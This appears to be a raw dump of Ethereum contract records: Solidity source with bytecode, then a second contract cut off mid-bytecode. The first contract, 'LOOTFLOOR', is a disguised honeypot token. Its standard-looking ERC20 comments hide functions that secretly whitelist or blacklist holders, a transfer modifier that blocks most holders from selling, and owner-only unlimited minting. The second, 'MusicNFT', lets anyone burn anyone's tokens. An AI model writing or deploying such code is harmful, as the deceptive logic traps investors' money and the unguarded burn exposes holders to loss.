zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract LOOTFLOOR is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610472578063b2bdfa7b1461049e578063dd62ed3e146104c2578063e1268115146104f0576100f5565b806352b0f196146102f457806370a082311461041e57806380b2122e1461044457806395d89b411461046a576100f5565b806318160ddd116100d357806318160ddd1461025a57806323b872dd14610274578063313ce567146102aa5780634e6ec247146102c8576100f5565b8063043fa39e146100fa57806306fdde031461019d578063095ea7b31461021a575b600080fd5b61019b6004803603602081101561011057600080fd5b810190602081018135600160201b81111561012a57600080fd5b82018360208201111561013c57600080fd5b803590602001918460208302840111600160201b8311171561015d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610591945050505050565b005b6101a5610686565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101df5781810151838201526020016101c7565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561023057600080fd5b506001600160a01b03813516906020013561071c565b604080519115158252519081900360200190f35b610262610739565b60408051918252519081900360200190f35b6102466004803603606081101561028a57600080fd5b506001600160a01b0381358116916020810135909116906040013561073f565b6102b26107c6565b6040805160ff9092168252519081900360200190f35b61019b600480360360408110156102de57600080fd5b506001600160a01b0381351690602001356107cf565b61019b6004803603606081101561030a57600080fd5b81359190810190604081016020820135600160201b81111561032b57600080fd5b82018360208201111561033d57600080fd5b803590602001918460208302840111600160201b8311171561035e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460208302840111600160201b831117156103e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108bf945050505050565b6102626004803603602081101561043457600080fd5b50356001600160a01b03166109d8565b61019b6004803603602081101561045a57600080fd5b50356001600160a01b03166109f3565b6101a5610a5d565b6102466004803603604081101561048857600080fd5b506001600160a01b038135169060200135610abe565b6104a6610ad2565b604080516001600160a01b039092168252519081900360200190f35b610262600480360360408110156104d857600080fd5b506001600160a01b0381358116916020013516610ae1565b61019b6004803603602081101561050657600080fd5b810190602081018135600160201b81111561052057600080fd5b82018360208201111561053257600080fd5b803590602001918460208302840111600160201b8311171561055357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b0c945050505050565b600a546001600160a01b031633146105d9576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001600260008484815181106105f757fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061064857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016105dc565b5050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b5050505050905090565b6000610730610729610c5d565b8484610c61565b50600192915050565b60055490565b600061074c848484610d4d565b6107bc84610758610c5d565b6107b785604051806060016040528060288152602001611411602891396001600160a01b038a16600090815260046020526040812090610796610c5d565b6001600160a01b031681526020810191909152604001600020549190611309565b610c61565b5060019392505050565b60085460ff1690565b600a546001600160a01b0316331461082e576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b60055461083b9082610bfc565b600555600a546001600160a01b03166000908152602081905260409020546108639082610bfc565b600a546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600a546001600160a01b03163314610907576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b82518110156109d25761094383828151811061092257fe5b602002602001015183838151811061093657fe5b6020026020010151610abe565b50838110156109ca57600180600085848151811061095d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506109ca8382815181106109ab57fe5b6020908102919091010151600c546001600160a01b0316600019610c61565b60010161090a565b50505050565b6001600160a01b031660009081526020819052604090205490565b600a546001600160a01b03163314610a3b576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b6000610730610acb610c5d565b8484610d4d565b600a546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600a546001600160a01b03163314610b54576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001806000848481518110610b7157fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bc257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b57565b600082820183811015610c56576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610ca65760405162461bcd60e51b815260040180806020018281038252602481526020018061145e6024913960400191505060405180910390fd5b6001600160a01b038216610ceb5760405162461bcd60e51b81526004018080602001828103825260228152602001806113c96022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600b54600a548491849184916001600160a01b039182169116148015610d805750600a546001600160a01b038481169116145b15610ef857600b80546001600160a01b0319166001600160a01b03848116919091179091558616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b038516610e275760405162461bcd60e51b81526004018080602001828103825260238152602001806113a66023913960400191505060405180910390fd5b610e328686866113a0565b610e6f846040518060600160405280602681526020016113eb602691396001600160a01b0389166000908152602081905260409020549190611309565b6001600160a01b038088166000908152602081905260408082209390935590871681522054610e9e9085610bfc565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3611301565b600a546001600160a01b0384811691161480610f215750600b546001600160a01b038481169116145b80610f395750600a546001600160a01b038381169116145b15610fbc57600a546001600160a01b038481169116148015610f6c5750816001600160a01b0316836001600160a01b0316145b15610f775760038190555b6001600160a01b038616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff1615151415611028576001600160a01b038616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff161515600114156110b257600b546001600160a01b03848116911614806110775750600c546001600160a01b038381169116145b610f775760405162461bcd60e51b81526004018080602001828103825260268152602001806113eb6026913960400191505060405180910390fd5b60035481101561114657600b546001600160a01b0383811691161415610f77576001600160a01b0383811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b600b546001600160a01b038481169116148061116f5750600c546001600160a01b038381169116145b6111aa5760405162461bcd60e51b81526004018080602001828103825260268152602001806113eb6026913960400191505060405180910390fd5b6001600160a01b0386166111ef5760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b0385166112345760405162461bcd60e51b81526004018080602001828103825260238152602001806113a66023913960400191505060405180910390fd5b61123f8686866113a0565b61127c846040518060600160405280602681526020016113eb602691396001600160a01b0389166000908152602081905260409020549190611309565b6001600160a01b0380881660009081526020819052604080822093909355908716815220546112ab9085610bfc565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b600081848411156113985760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561135d578181015183820152602001611345565b50505050905090810190601f16801561138a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212203a8fc10f3a1e9e40dbcd2d3dc6167cc1c76bec5351caf6646b0f2e046ceca03064736f6c634300060c0033
[ 38 ]
0xf3a9f9333898b1b47d17cf3a2116db6d7907691c
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; //import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; //import "@openzeppelin/contracts/access/Ownable.sol"; import "./ERC1155.sol"; import "./Ownable.sol"; contract MusicNFT is ERC1155, Ownable { using StringUtils for uint256; string private baseURI; constructor(string memory baseURI_, uint256[] memory ids_, uint256[] memory amounts_) ERC1155(baseURI_){ baseURI = baseURI_; require(ids_.length == amounts_.length); for (uint256 i = 0; i < ids_.length; i++) { _mint(_msgSender(), ids_[i], amounts_[i], bytes("0x0")); } } function name() external pure returns (string memory) { return "Mayao NFT"; } function symbol() external pure returns (string memory) { return "MYN"; } // transfer on demand function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { uint256 balance = balanceOf(from, id); // mint when not enough and from is owner if (balance < amount && from == owner()) { _mint(from, id, amount - balance, data); } super.safeTransferFrom(from, to, id, amount, data); } function mint(uint256 _id, address[] calldata _to, uint256[] calldata _amount, bytes memory _data) public onlyOwner { require(_to.length == _amount.length); // if (allTokensIndex[_id] == 0) { // // not exist // allTokensIndex[_id] = allTokens.length + 1; // allTokens.push(_id); // emit URI(tokenURI(_id), _id); // } for (uint256 i = 0; i < _to.length; ++i) { address to = _to[i]; uint256 amount = _amount[i]; _mint(to, _id, amount, _data); } } function uri(uint256 tokenId) public view virtual override returns (string memory) { return string(abi.encodePacked(baseURI, tokenId.toHexString(32), ".json")); } // set baseURI function setURI(string memory baseURI_) public onlyOwner { baseURI = baseURI_; } // get baseURI function getURI() view public returns (string memory){ return baseURI; } function burn( address account, uint256 id, uint256 amount ) external { super._burn(account, id, amount); } function burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { super._burnBatch(account, ids, amounts); } } library StringUtils { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); // buffer[0] = "0"; // buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } }
0x608060405234801561001057600080fd5b506004361061010a5760003560e01c8063715018a6116100a2578063a22cb46511610071578063a22cb46514610208578063e985e9c51461021b578063f242432a1461022e578063f2fde38b14610241578063f5298aca146102545761010a565b8063715018a6146101db5780637754305c146101e35780638da5cb5b146101eb57806395d89b41146102005761010a565b80630e89341c116100de5780630e89341c146101825780632eb2c2d6146101955780633e8a489b146101a85780634e1273f4146101bb5761010a565b8062fdd58e1461010f57806301ffc9a71461013857806302fe53051461015857806306fdde031461016d575b600080fd5b61012261011d3660046115a0565b610267565b60405161012f9190611ea0565b60405180910390f35b61014b6101463660046116b9565b6102be565b60405161012f9190611a1f565b61016b6101663660046116f1565b610306565b005b61017561035c565b60405161012f9190611a2a565b61017561019036600461173f565b610380565b61016b6101a336600461145d565b6103b6565b61016b6101b6366004611757565b610414565b6101ce6101c93660046115fb565b6104f6565b60405161012f91906119e7565b61016b610616565b610175610661565b6101f36106f3565b60405161012f9190611930565b610175610702565b61016b610216366004611566565b61071f565b61014b61022936600461142b565b6107ed565b61016b61023c366004611503565b61081b565b61016b61024f366004611411565b61087f565b61016b6102623660046115c9565b6108f0565b60006001600160a01b0383166102985760405162461bcd60e51b815260040161028f90611b0e565b60405180910390fd5b506000908152602081815260408083206001600160a01b03949094168352929052205490565b60006001600160e01b03198216636cdb3d1360e11b14806102ef57506001600160e01b031982166303a24d0760e21b145b806102fe57506102fe82610906565b90505b919050565b61030e61091f565b6001600160a01b031661031f6106f3565b6001600160a01b0316146103455760405162461bcd60e51b815260040161028f90611d50565b8051610358906004906020840190611235565b5050565b60408051808201909152600981526813585e585bc813919560ba1b60208201525b90565b6060600461038f836020610923565b6040516020016103a0929190611882565b6040516020818303038152906040529050919050565b6103be61091f565b6001600160a01b0316856001600160a01b031614806103e457506103e48561022961091f565b6104005760405162461bcd60e51b815260040161028f90611c71565b61040d8585858585610a62565b5050505050565b61041c61091f565b6001600160a01b031661042d6106f3565b6001600160a01b0316146104535760405162461bcd60e51b815260040161028f90611d50565b83821461045f57600080fd5b60005b848110156104ed57600086868381811061048c57634e487b7